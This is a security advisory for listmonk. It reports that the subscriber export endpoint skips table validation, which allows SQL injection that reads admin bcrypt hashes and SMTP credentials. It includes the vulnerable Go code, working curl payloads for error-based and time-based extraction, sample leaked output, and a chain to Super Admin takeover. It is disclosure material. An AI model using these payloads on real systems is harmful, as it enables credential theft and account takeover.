GHSA-xgjr-7j9q-2h4r: listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials

Summary

A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sqlquery permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sqlquery → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.

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Details

The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.

internal/core/subscribers.go — protected path (regular query):

go // QuerySubscribers — table validation present stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond) if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil { return nil, 0, echo.NewHTTPError(http.StatusBadRequest, fmt.Sprintf("Error preparing subscriber query: %v", err)) }

internal/core/subscribers.go — vulnerable path (export):

go // ExportSubscribers — NO table validation stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond) tx, err := c.db.Preparex(stmt) // executes directly without restriction

queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:

sql SELECT subscribers.id, subscribers.email, ... FROM subscribers LEFT JOIN subscriberlists ON ... WHERE (subscribers.status != 'blocklisted') AND %query% ORDER BY subscribers.id ASC LIMIT ...

Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.

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PoC

Prerequisites: Authenticated session with subscribers:sqlquery and subscribers:getall permissions.

Step 1 — Confirm the bypass (blocked on query, open on export):

bash Blocked on regular endpoint: curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \ -H "Cookie: session=SESSIONTOKEN" → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}

Bypassed on export endpoint: curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \ -H "Cookie: session=SESSIONTOKEN" → HTTP 200: returns subscriber rows with no error

Step 2 — Error-based exfiltration of admin password hash:

bash curl -s "http://TARGET:9000/api/subscribers/export?\ query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \ -H "Cookie: session=SESSIONTOKEN"

Response: json { "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\"" }

Step 3 — Error-based exfiltration of SMTP credentials:

bash curl -s "http://TARGET:9000/api/subscribers/export?\ query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \ -H "Cookie: session=SESSIONTOKEN"

Response: json { "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\"" }

Step 4 — Time-based blind confirmation:

bash time curl -s "http://TARGET:9000/api/subscribers/export?query=pgsleep(3)+IS+NOT+NULL" \ -H "Cookie: session=SESSIONTOKEN" Returns after ~3 seconds — confirms arbitrary SQL function execution

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Impact

This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sqlquery permission can:

- Read bcrypt password hashes of all admin accounts (including Super Admin) - Extract SMTP credentials, API keys, and all values stored in the settings table - Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover - Execute data-modifying SQL via PostgreSQL CTEs (write impact)

Attack chain: subscribers:sqlquery → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.

This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.